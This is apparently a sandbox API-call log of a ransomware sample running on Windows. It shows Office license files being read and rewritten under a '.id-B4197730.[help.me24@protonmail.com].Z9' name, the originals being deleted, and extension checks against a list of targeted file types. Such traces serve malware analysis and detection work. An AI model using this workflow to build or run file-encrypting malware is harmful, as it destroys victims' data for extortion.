	[0177.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0177.746] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.746] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0177.747] GetLastError () returned 0x0
	[0177.747] ReadFile (in: hFile=0x54c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x56d0, lpOverlapped=0x0) returned 1
	[0177.750] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x56e0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x56e0, lpOverlapped=0x0) returned 1
	[0177.753] ReadFile (in: hFile=0x54c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.753] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x12a, lpOverlapped=0x0) returned 1
	[0177.753] SetEndOfFile (hFile=0x4bc) returned 1
	[0177.753] CloseHandle (hObject=0x4bc) returned 1
	[0177.754] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.754] SetEndOfFile (hFile=0x54c) returned 1
	[0177.760] CloseHandle (hObject=0x54c) returned 1
	[0177.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0177.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0177.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0177.762] lstrlenW (lpString=".doc") returned 4
	[0177.762] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.762] lstrlenW (lpString=".docx") returned 5
	[0177.762] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.762] lstrlenW (lpString=".pdf") returned 4
	[0177.762] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.762] lstrlenW (lpString=".xls") returned 4
	[0177.762] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.762] lstrlenW (lpString=".xlsx") returned 5
	[0177.763] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.763] lstrlenW (lpString=".ppt") returned 4
	[0177.763] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0177.763] lstrlenW (lpString=".zip") returned 4
	[0177.763] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.763] lstrlenW (lpString=".rar") returned 4
	[0177.763] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.763] lstrlenW (lpString=".bz2") returned 4
	[0177.763] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.763] lstrlenW (lpString=".7z") returned 3
	[0177.763] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0177.763] lstrlenW (lpString=".dbf") returned 4
	[0177.763] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0177.763] lstrlenW (lpString=".1cd") returned 4
	[0177.763] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0177.763] lstrlenW (lpString=".jpg") returned 4
	[0177.763] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0177.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0177.764] lstrlenW (lpString=".doc") returned 4
	[0177.764] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.764] lstrlenW (lpString=".docx") returned 5
	[0177.764] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.764] lstrlenW (lpString=".pdf") returned 4
	[0177.764] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.764] lstrlenW (lpString=".xls") returned 4
	[0177.764] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.764] lstrlenW (lpString=".xlsx") returned 5
	[0177.764] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.765] lstrlenW (lpString=".ppt") returned 4
	[0177.765] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0177.765] lstrlenW (lpString=".zip") returned 4
	[0177.765] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.765] lstrlenW (lpString=".rar") returned 4
	[0177.765] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.765] lstrlenW (lpString=".bz2") returned 4
	[0177.765] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.765] lstrlenW (lpString=".7z") returned 3
	[0177.765] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0177.765] lstrlenW (lpString=".dbf") returned 4
	[0177.765] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0177.765] lstrlenW (lpString=".1cd") returned 4
	[0177.765] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0177.765] lstrlenW (lpString=".jpg") returned 4
	[0177.765] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.766] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0177.766] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46
	[0177.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0177.767] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11674) returned 1
	[0177.767] CloseHandle (hObject=0x54c) returned 1
	[0177.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0177.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0177.768] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.768] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0177.769] GetLastError () returned 0x0
	[0177.769] ReadFile (in: hFile=0x54c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2d9a, lpOverlapped=0x0) returned 1
	[0177.772] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0177.773] ReadFile (in: hFile=0x54c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.773] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x130, lpOverlapped=0x0) returned 1
	[0177.774] SetEndOfFile (hFile=0x4bc) returned 1
	[0177.774] CloseHandle (hObject=0x4bc) returned 1
	[0177.774] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.774] SetEndOfFile (hFile=0x54c) returned 1
	[0178.220] CloseHandle (hObject=0x54c) returned 1
	[0178.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0178.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.224] lstrlenW (lpString=".doc") returned 4
	[0178.224] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.224] lstrlenW (lpString=".docx") returned 5
	[0178.224] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.224] lstrlenW (lpString=".pdf") returned 4
	[0178.224] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.224] lstrlenW (lpString=".xls") returned 4
	[0178.224] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.224] lstrlenW (lpString=".xlsx") returned 5
	[0178.224] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.224] lstrlenW (lpString=".ppt") returned 4
	[0178.224] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.224] lstrlenW (lpString=".zip") returned 4
	[0178.224] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.224] lstrlenW (lpString=".rar") returned 4
	[0178.224] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.224] lstrlenW (lpString=".bz2") returned 4
	[0178.224] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.224] lstrlenW (lpString=".7z") returned 3
	[0178.224] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.224] lstrlenW (lpString=".dbf") returned 4
	[0178.224] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.225] lstrlenW (lpString=".1cd") returned 4
	[0178.225] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.225] lstrlenW (lpString=".jpg") returned 4
	[0178.225] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.225] lstrlenW (lpString=".doc") returned 4
	[0178.225] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.225] lstrlenW (lpString=".docx") returned 5
	[0178.225] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.225] lstrlenW (lpString=".pdf") returned 4
	[0178.225] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.225] lstrlenW (lpString=".xls") returned 4
	[0178.225] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.225] lstrlenW (lpString=".xlsx") returned 5
	[0178.225] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.225] lstrlenW (lpString=".ppt") returned 4
	[0178.225] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.225] lstrlenW (lpString=".zip") returned 4
	[0178.225] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.225] lstrlenW (lpString=".rar") returned 4
	[0178.225] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.225] lstrlenW (lpString=".bz2") returned 4
	[0178.225] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.225] lstrlenW (lpString=".7z") returned 3
	[0178.225] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.226] lstrlenW (lpString=".dbf") returned 4
	[0178.226] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.226] lstrlenW (lpString=".1cd") returned 4
	[0178.226] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0178.226] lstrlenW (lpString=".jpg") returned 4
	[0178.226] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.227] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.227] lstrlenW (lpString="HomeBusinessR_Grace-ppd.xrm-ms") returned 30
	[0178.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0178.229] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=22033) returned 1
	[0178.229] CloseHandle (hObject=0x54c) returned 1
	[0178.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 0x220
	[0178.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0178.230] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.230] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0178.232] GetLastError () returned 0x0
	[0178.232] ReadFile (in: hFile=0x54c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x5611, lpOverlapped=0x0) returned 1
	[0178.236] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x5620, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x5620, lpOverlapped=0x0) returned 1
	[0178.238] ReadFile (in: hFile=0x54c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.238] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x110, lpOverlapped=0x0) returned 1
	[0178.238] SetEndOfFile (hFile=0x3c8) returned 1
	[0178.238] CloseHandle (hObject=0x3c8) returned 1
	[0178.239] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.239] SetEndOfFile (hFile=0x54c) returned 1
	[0178.243] CloseHandle (hObject=0x54c) returned 1
	[0178.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 1
	[0178.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0178.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0178.245] lstrlenW (lpString=".doc") returned 4
	[0178.245] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.246] lstrlenW (lpString=".docx") returned 5
	[0178.246] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.246] lstrlenW (lpString=".pdf") returned 4
	[0178.246] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.246] lstrlenW (lpString=".xls") returned 4
	[0178.246] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.246] lstrlenW (lpString=".xlsx") returned 5
	[0178.246] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.246] lstrlenW (lpString=".ppt") returned 4
	[0178.246] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0178.246] lstrlenW (lpString=".zip") returned 4
	[0178.246] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.246] lstrlenW (lpString=".rar") returned 4
	[0178.246] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.246] lstrlenW (lpString=".bz2") returned 4
	[0178.246] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.246] lstrlenW (lpString=".7z") returned 3
	[0178.246] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0178.246] lstrlenW (lpString=".dbf") returned 4
	[0178.246] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0178.247] lstrlenW (lpString=".1cd") returned 4
	[0178.247] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0178.247] lstrlenW (lpString=".jpg") returned 4
	[0178.247] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0178.247] lstrlenW (lpString=".doc") returned 4
	[0178.247] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.247] lstrlenW (lpString=".docx") returned 5
	[0178.247] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.247] lstrlenW (lpString=".pdf") returned 4
	[0178.247] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.247] lstrlenW (lpString=".xls") returned 4
	[0178.247] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.247] lstrlenW (lpString=".xlsx") returned 5
	[0178.247] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.247] lstrlenW (lpString=".ppt") returned 4
	[0178.247] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms") returned 80
	[0178.247] lstrlenW (lpString=".zip") returned 4
	[0178.248] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.248] lstrlenW (lpString=".rar") returned 4
	[0178.248] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.248] lstrlenW (lpString=".bz2") returned 4
	[0178.248] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.248] lstrlenW (lpString=".7z") returned 3
	[0178.248] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
